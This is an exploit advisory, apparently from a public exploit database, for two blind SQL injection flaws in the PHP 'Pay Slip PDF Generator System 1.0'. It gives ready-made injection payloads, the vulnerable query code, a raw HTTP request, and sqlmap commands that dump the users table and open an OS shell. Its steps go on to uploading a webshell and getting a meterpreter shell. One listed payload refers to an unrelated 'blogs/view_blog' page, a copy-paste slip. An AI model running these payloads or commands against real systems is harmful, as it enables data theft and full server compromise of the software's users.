Pay Slip PDF Generator System version suffers from multiple remote SQL injection vulnerabilities that can lead to remote code execution.
f19b62e393b512893d86e10bdcec256a
# Title: Pay Slip PDF Generator System 1.0 Blind time SQLi To Rce
# Author: Hejap Zairy
# Date: 26.07.2022
# Vendor: https://www.sourcecodester.com/php/15242/employees-pay-slip-pdf-generator-system-email-using-phpoop-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pess_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/pess/admin/positions/manage_position.php?id=2
# 2 - manual inject Blind SQli https://0day.gov/pess/admin/positions/manage_position.php?id=2' AND (SELECT 4714 FROM (SELECT(SLEEP(5)))EsCH) AND 'hejap'='hejap&name=&status=1
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell
#vulnerability Code php
---
```php
if(isset($_GET['id']) && $_GET['id'] > 0){
$qry = $conn->query("SELECT * from `position_list` where id = '{$_GET['id']}' ");
if($qry->num_rows > 0){
foreach($qry->fetch_assoc() as $k => $v){
$$k=$v;
}
}
}
```
---
#Status: CRITICAL
```
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2297' AND (SELECT 4714 FROM (SELECT(SLEEP(5)))EsCH) AND 'cmPD'='cmPD&name=&status=1
---
```
#Blind SQLi Time to Rce
#ُExploit
sqlmap -u 'http://0day.gov/pess/admin/positions/manage_position.php?id=%27
' --hex --time-sec=17 --dbms=mysql --technique=t --random-agent --eta -p id -D pess_db -T users --dump --os-shell --form name
# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc
# Proof and Exploit:
https://i.imgur.com/i93iKvO.png
-----------------------
# Title: Pay Slip PDF Generator System 1.0 Blind boolean SQLi To Rce
# Author: Hejap Zairy
# Date: 26.07.2022
# Vendor: https://www.sourcecodester.com/php/15242/employees-pay-slip-pdf-generator-system-email-using-phpoop-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pess_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : http://0day.gov/pess/admin/positions/view_position.php?id=2
# 2 - manual inject Blind SQli https://0day.gov/pess/admin/positions/view_position.php?id=2 ' AND 6304=6304 AND 'hejap'='hejap
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell
#vulnerability Code php
---
```php
if(isset($_GET['id']) && $_GET['id'] > 0){
$qry = $conn->query("SELECT * from `position_list` where id = '{$_GET['id']}' ");
if($qry->num_rows > 0){
foreach($qry->fetch_assoc() as $k => $v){
$$k=$v;
}
}
}
```
---
#Status: CRITICAL
[+] Payload GET
---
GET /pess/admin/positions/view_position.php?id=2%20%27%20AND%206304=6304%20AND%20%27hejap%27=%27hejap HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=av2qn4bthu78hm972lul6vmniv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Te: trailers
Connection: close
---
```
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=blogs/view_blog&id=3' AND 6447=6447-- hejap
---
```
#Blind SQLi Time to Rce
#ُExploit
sqlmap -u 'https://0day.gov/pess/admin/positions/view_position.php?id=2
' --hex --time-sec=5 --dbms=mysql --technique=b --random-agent --eta -p id -D pess_db -T users --dump --os-shell
# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc
# Proof and Exploit:
https://i.imgur.com/3KLWZqM.png
https://i.imgur.com/kZwAVkD.png